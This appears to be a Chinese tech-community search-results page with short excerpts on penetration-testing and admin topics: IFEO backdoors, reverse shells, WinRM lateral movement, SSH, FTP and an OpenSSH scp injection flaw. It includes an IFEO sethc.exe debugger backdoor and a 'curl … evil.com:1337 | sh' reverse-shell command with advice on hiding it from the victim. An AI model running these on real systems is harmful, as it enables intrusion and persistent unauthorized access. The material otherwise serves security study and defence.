首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

权限维持之打造不一样的映像劫持后门

---- 0x01 前言 “映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定...大家一定都知道映像劫持后门,在以下注册表中的sethc.exe项添加一个Debugger字符值(REG_SZ),并且赋值为cmd.exe的执行路径为C:\windows\system32\cmd.exe...0x03中所讲述的传统“映像劫持”后门是修改IFEO中的“debugger”键值,用来替换原有程序的执行。而不一样的“映像劫持”后门,实现的效果是:程序A静默退出结束后,会执行程序B。...根据微软官方介绍,从Windows7开始,可以在Silent Process Exit选项卡中,可以启用和配置对进程静默退出的监视操作。在此选项卡中设定的配置都将保存在注册表中。...那么,当我们将该参数设置为1时则可防止黑客利用远程桌面界面键入Shift从而达到防御效果,可以直接执行以下命令修改UserAuthentication注册表值,我们看下效果: reg add "HKEY_LOCAL_MACHINE

2K10

python与安全(四)shell反弹

有的SSTI中的姿势也可以借鉴过来. 工具 1.姿势查找 这是p神在星球分享的工具,有各种环境的姿势,非常全面。 ?...nc-l 1337 (2)在目标上执行反向Shell 在目标计算机上,将https://shell.now.sh/yourip:port的输出通过管道传递到sh。...您可以在evil.com上的服务器上侦听连接,并从安全网络内部获得反向外壳。...curlhttps://shell.now.sh/evil.com:1337 |sh (5)持续连接 默认情况下,当外壳退出时,您将失去连接。您可能会通过无效命令意外地执行此操作。...以下命令将在后台进程中运行反向外壳程序并退出终端,在受害者的计算机上没有打开看起来可疑的终端窗口。 确保在新的终端窗口中运行此命令,否则将丢失现有会话中的任何工作。

74510
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    探究Linux独立服务器的SSH

    探究Linux独立服务器的SSHSSH是SecureSHell的缩写。它主要是为了在远程访问另一台计算机/服务器时提供安全性而开发的。...通过加密数据,它改变了数据,因此除非外人有密钥,否则很难破解代码。连接到远程计算机时,在本地计算机上运行“SSH主机名”,其中主机名是您正在连接的远程计算机的主机名。...私钥应该始终保留在您的本地计算机上。公钥应该始终留在要连接的服务器上。公钥不能用于导出您的私钥,使其成为安全连接。您的本地SSH进程要求您输入密码,而不是远程服务器。...如果您正在使用SSH代理程序,这将消除输入密码短语的需要,因为一旦设置好密码短语就会自动完成。通过SSH运行命令并退出如果您只想运行一个命令并退出,那么将您希望运行的命令放在SSH连接命令的末尾。...如何结束您的SSH会话您可以通过键入退出、注销或简单地按下Ctrl-d来结束您的SSH会话。这些通常会退出外壳,让您注销。

    2.9K20

    横向移动之WinRM横向移动

    WinRM的服务器并执行大多数的cmd命令 通过winrs.exe来执行远程命令利用 Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户。...winrs [-/SWITCH[:VALUE]] COMMAND COMMAND - 可以作为 cmd.exe 外壳程序中的命令来执行的任何字符串。...通过winrm.cmd来进行命令执行 在命令行中执行winrm quickconfig对WinRM进行首次(默认)配置,这里我已经配置好了,此时,WinRM服务已经开始监听5985/TCP(从WinRM2.0...WinRM(.vbs)允许WMI对象通过WinRM传输进行远程交互,可以利用几个WMI类来执行远程命令执行,一个非常著名的WMI类Win32_Process可以通过利用Create方法来生成(远程)进程...Get-PSSession 进入ID为2的WinRM会话中 Enter-PSSession -id 2 退出WinRM会话 Exit-PSSession ?

    4.7K10

    了解和学习基本Shell脚本和Linux文件系统疑难解答 - 第10部分

    如果我们跑, echo $PATH 在命令行中,我们将看到$ PATH中的内容:当我们进入一个可执行程序的名字被搜索目录的冒号分隔的列表。...循环 此循环允许为值列表中的每个值执行一个或多个命令。...循环 该循环允许执行一系列重复命令,只要控制命令执行退出状态等于零(成功)。...该-quiet标志用于防止grep的从显示在屏幕上,其中的字的运行出现的线条。 当发生这种情况,上面的命令返回0退出状态(由$表示?在if结构),从而验证该服务正在运行。...此外,每次系统在正常引导期间引导时,它始终在安装文件系统之前检查文件系统的完整性。 在这两种情况下,这是使用的fsck命名工具(“ 文件系统检查 ”)执行。

    73020

    Linux模拟实现【简易版bash】

    ---- 前言 Linux 系统主要分为 内核(kernel) 和 外壳(shell),普通用户是无法接触到内核的,因此实际在进行操作时是在和外壳程序打交道,在 shell 外壳之上存在 命令行解释器(...bash),负责接收并执行用户输入的指令,本文模拟实现的就是一个 简易版命令行解释器 ---- ️正文 1、bash本质 在模拟实现前,先得了解 bash 的本质 bash 也是一个进程,并且是不断运行中的进程...][ARGV_SIZE]; //大小与前面有关 int env_pos = 0; //专门维护缓冲区 //这是一个始终运行的程序:bash while(1) { //…… 省略部分代码 /...,对上述程序进行改造即可实现 退出码从何而来? 很简单,父进程在等待子进程结束后,可以轻而易举的获取其退出码 将退出码保存在一个全局变量中,供 echo $?...指令使用即可 int exit_code = 0; //保存退出码的全局变量 代码实现: //echo 相关 //只有 echo $ 才做特殊处理(环境变量+退出码) if(strcmp(argv[0

    28520

    Powershell与威胁狩猎

    百度百科解释: Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。...PowerShell模块日志可以配置为记录所有的PowerShell模块的活动情况,包括单一的PowerShell命令、导入的模块、远程管理等。可以通过GPO进行启用模块日志记录。...随着PowerShell攻击技术的不断成熟,攻击者为了规避防护和日志记录进行了大量的代码混淆,在执行代码之前很难发现或确认这些代码实际上会做些什么事情,给攻击检测和取证造成了一定的困难,因此微软从PowerShell5.0...开始加入了日志转储、ScriptBlock日志记录功能,并将其归入到事件4104当中,ScriptBlock Logging提供了在事件日志中记录反混淆的 PowerShell 代码的能力。...作为PowerShell 7的一部分,Microsoft在之前的日志记录基础上,增加了一种安全使用本地或远程存储中的凭据的方法,以便不需要将密码嵌入到脚本中。

    2.6K20

    Linux文件传输FTP详解

    FTP>bye: 终止主机FTP进程,并退出FTP管理方式. FTP>case: 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母. FTP>cd: 同UNIX的CD命令....[command]指定需要帮助的命令名称。如果没有指定 command,ftp 将显示全部命令的列表。 FTP>! 从 ftp 子系统退出到外壳。 详解: 1....ftp> bye (回车) 命令介绍: 1.FTP> ! 从 ftp子系统退出到外壳。 2.FTP> ? 显示 ftp命令说明。? 与 help相同。   格式:?...6.bell:每个命令执行完毕后计算机响铃一次。 7.bin:使用二进制文件传输方式。 8.bye:退出ftp会话过程。 9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。...43.prompt:设置多个文件传输时的交互提示。 44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令,该命令允许连接两个ftp服务器,以在两个服务器间传输文件。

    8.1K32

    WinRM的横向移动详解

    使用winrs.exe来执行远程命令利用 Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户。命令支持各种开关以及使用备用凭据进行身份验证的能力。...winrs [-/SWITCH[:VALUE]] COMMAND COMMAND - 可以作为 cmd.exe 外壳程序中的命令来执行的任何字符串。...Metasploit Metasploit框架具有多个模块,可用于发现启用了WinRM服务的主机,发现用于服务认证的凭证以及执行任意命令和代码。...命令返回: ? 也可以通过WinRM和以下模块执行任意代码。 该模块需要本地管理员凭据以及将执行代码的主机列表。 此模块可用于横向移动到共享相同本地管理员帐户的主机中。...该模块还将尝试迁移到系统级别的进程,以避免由于WinRS的时间限制而丢失外壳。 ? 防御 当然,存在检测和限制WinRM远程命令执行/横向移动的机会。

    2.7K10

    如何通过SSH进入正在运行的容器【Containers】

    像Jenkins这样的构建系统通常具有一个默认配置文件,例如jenkins.yaml,它为仅用于在源代码上构建和运行测试而存在的基本容器映像提供了说明。构建完成后,容器消失。...选择一个(运行中的)窗格以打开应用程序的“详细信息”面板。 1.jpg 单击“详细信息”面板顶部的“终端”选项卡,以在容器中打开一个交互式外壳。...: $ oc logs --follow=true example-1-e1337 --all-containers 执行命令 您可以使用以下命令远程执行命令: $ oc exec example-1-...Remote shell 您可以附加到正在运行的容器。 这仍然不会在容器中打开外壳,但是会直接运行命令。...例如: $ oc attach example-1-e1337 --container app 如果在容器中需要真正的交互式外壳,则可以使用oc rsh命令打开远程外壳,只要容器包含外壳即可。

    3.4K00

    Flink Scala Shell:使用交互式编程环境学习和调试Flink

    交互式编程环境:REPL 当前最著名的交互式编程环境莫属Jupyter Notebook了,程序员可以启动一个交互的Session,在这Session中编写代码、执行程序、获取结果,所见即所得。...交互式编程的优势包括: 快速启动一个程序:程序员不需要“编译、打包、执行”这一套复杂过程,只需要开启一个交互Session,敲下代码,直接得到结果,非常适合验证一段代码的结果。...注意,在流处理模式下,print不会自动触发,必须调用execute才能触发执行前面的程序。 代码拷贝 我们经常遇到的一个使用场景是从网上看到一些代码片段,需要拷贝过来验证正确性。...在Scala Shell中,可以使用:paste命令进入拷贝模式,复制粘贴之后,再使用Control + D按键组合退出粘贴模式。...jar 命令:远程[选项] 启动Flink Scala Shell连接到远程集群 远程主机名作为字符串 远程端口为整数

    2.2K20

    使用bash编写Linux shell脚本--调试和版本控制

    调试陷阱 内置 trap 命令可以在每一行 Bash 处理之后执行调试命令。通常 trap 和跟踪组合使用,跟踪提供没有在跟踪中列出额外的信息。...使用一个空命令(“:”)显示变量的值,而不用执行外壳命令。 列表 8.3 dubug_demo.sh #!...CVS 关键字可以加在脚本的任何位置,但是它们应该出现在注释或有引号的字符串中,这避免了关键字被认为是可执行的外壳命令。...如果在更新后没有其他问题,你可以继续编辑你的源代码。 为了删除已经存在于库中的脚本,使用 rm 命令删除它并执行 CVS 的 update 命令。 CVS 会自动删除该文件。...二进制文件被 Linux 的 uuencode 命令转换为文本文件。 Shell archive 是一个自解压的归档文件。当外壳脚本执行时,在归档文件中的这些文件被解压缩。

    3K111

    CVE-2020-15778:OpenSSH命令注入漏洞复现

    OpenSSH的8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。...0x06 漏洞分析 在使用scp远程传输文件时,正常使用是这样的 scp SourceFile user@host:目录/TargetFile 在执行上面这条命令时会执行一个本地命令 scp -t...反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。...3、由于SHELL首先执行backtick命令,然后执行scp命令,因此我们可以在backtick中编写一个无限循环,这将导致套接字长时间打开。...对于用户来说,ssh被阻止,但authorized_keys文件中的命令选项允许使用scp的情况。您可以绕过此限制并在远程服务器上执行命令。

    3K30

    SQL Server 代理进阶 - Level 2 :作业步骤和子系统

    我已经给出了“检查主数据库完整性”的名称,并将类型设置为Transact-SQL。数据库上下文是主。我在文本框中输入一个简单的命令: DBCC CHECKDB 有几个解释是为了这个对话。...图3 - 新的作业步骤高级选项 如果由于某种原因某个步骤失败,则可以选择可以尝试重试该作业步骤的次数。 您也可以在每次尝试成功完成作业步骤之间指定延迟(以分钟为单位)。...另请注意,Transact-SQL没有代理功能,因此T-SQL的作业步骤始终在作业所有者的安全上下文中运行。...在这里(以及在ActiveX子系统中)要记住的关键是没有用户能够点击或接受任何提示,因此请确保脚本在没有用户干预的情况下运行。...电源外壳 PowerShell子系统允许您运行兼容Windows PowerShell 1.0或2.0的脚本。与其他脚本子系统一样,该脚本将默认在SQL Server代理服务帐户的安全上下文中运行。

    1.3K40

    关于windows上 web 和 ftp 站点的创建及使用

    建立端口为1077的web站点: ? 建立端口为1081的ftp站点: ? 2.FTP 命令的使用 help 命令可以了解所有FTP命令 常用命令: ls 显示远程目录文件和子目录的缩写列表。...在传送文本文件时应使用 Ascii。在 ascii 模式中,将在网络标准字符集之间执行字符转换。例如,行尾的字符在必要时根据目标操作系统进行转换。 在传送可执行文件时应该使用 binary。...在 binary 模式中,一个接一个字节地移动文件。 ascii 将文件传送类型设置为默认的 ASCII。 binary 将文件传送类型设置为二进制。 pwd 显示远程计算机上的当前目录。...disconnect 从远程计算机断开,保留 ftp 提示 close 结束与远程服务器的 FTP 会话并返回命令解释程序。 bye 结束与远程计算机的 FTP 会话并退出 ftp。...命令使用说明: ! 从 ftp 子系统退出到外壳。 ? 显示 ftp 命令说明。? 与 help 相同 append 使用当前文件类型设置将本地文件附加到远程计算机上的文件。

    3.3K31

    FTP命令大全

    让你执行外壳命令,例如:!LS。 5)DELETE、MDELETE、RENAME DELETE删除REMOTE端的文件: MDELETE批量删除文件,需配合?...FTP使用的内部命令如下(中括号表示可选项): 1)[crud[args)1:在本地机中执行交互shell,exit回到FTP环境, 列如:!...6)bell:每个命令执行完毕后计算机响铃—次 7)bin:使用二进制文件传输方式 8)bye..退出FTP会话过程— 9)case:在使用mget时,将远程主文件名中的大写字母转为小写字母 10)cdremote...31)mgetremote-files:传输多个远程文件。 32)mkdirdirname:在远程主机中建一目录。                         ...[pasv] 43)prompt:设置多个文件传输时的交互提示。 44)proxy FTP-cmd:在次要控制连接中,执行一条FTP命令,该命令允许连接两个FTP服务器,以在两个服务器间传输文件。

    2.4K30

    【Linux】权限篇(一)

    前言 在之前的博客中已经学习了一些相关的操作,这次来分享的是与Linux的权限有关的一些笔记。 在正片开始之前,先来讲讲外壳(shell)。...用户在执行某种功能的时候,不是直接让操作系统执行对应的指令的,而是先交给外壳程序。 这句话是什么意思呢?...bash不会直接执行命令,它会创建一个子进程,让子进程去执行。 这个子进程会帮用户进行命令行解释。 而真正的bash只需要等待就行。 总结: 对于大部分操作系统,在它的软件外层还有一个外壳层。...这个外壳层通常进行命令行解释。 在用户和操作系统之间加一层软件层,主要将命令翻译给核心,同时将对应的操作系统执行结果翻译给用户。...如果想变成指定的用户,直接su+指定用户就行。 退出直接ctrl+D就行了。 如果不想直接变成root,但想以root的身份执行一个工作该怎么做?

    18410

    安全威胁无孔不入:基于Linux系统的病毒(转)

    此蠕虫利用了Linux Shell代码仅能在英特尔系统上执行的漏洞。 该代码须要有shell命令/bin/sh才干正确执行。...蠕虫利用了UU编码的方法,首先将病毒源代码编码成”.bugtraq.c”(这样就使得仅仅有”ls -a”命令才干显示此代码文件),然后发送到远程系统上,再对此文件进行解码。...而devnul会扫描互联网上存在漏洞的机器,一旦找到未打补丁的机器,它会执行sslx程序中的缓冲溢出漏洞代码。   蠕虫一旦进入到一个新系统并在此系统上成功执行的话。...B. 0-255.0-255   当中B是0到255之间的随意数字;   A为从下列列表中随机选择的数字:   3 4 6 8 9 11 12 13 14   15 16 17...B. 0-255.0-255   当中B是0到255之间的随意数字;   A为从下列列表中随机选择的数字:   3 4 6 8 9 11 12 13 14   15 16 17

    1.9K20

    操作系统基础知识操作系统的主要特性:分类可以通过命令接口和程序接口方式把它的服务和功能提供给用户程序在执行前已经实现地址转换的方法是静态重定位,执行中为动态重定位.实现角度看,线程分为用用户空间的用户

    操作系统的主要特性: 并发,共享,异步,虚拟性 分类 批处理系统 用户将一批作业提交给操作系统后就不再干预,由操作系统控制它们自动运行 批处理操作系统的特点是:多道和成批处理。...分时 实时 可以通过命令接口和程序接口方式把它的服务和功能提供给用户 程序在执行前已经实现地址转换的方法是静态重定位,执行中为动态重定位....实现角度看,线程分为用用户空间的用户线程和核心空间的内核线程 死锁的必要条件 互斥条件,占有和等待条件,不可抢占,请求保持循环等待 进程控制原语 阻塞原语,唤醒原语 低级调度算法 先来先服务,OPT,LRU

    1.1K70
    领券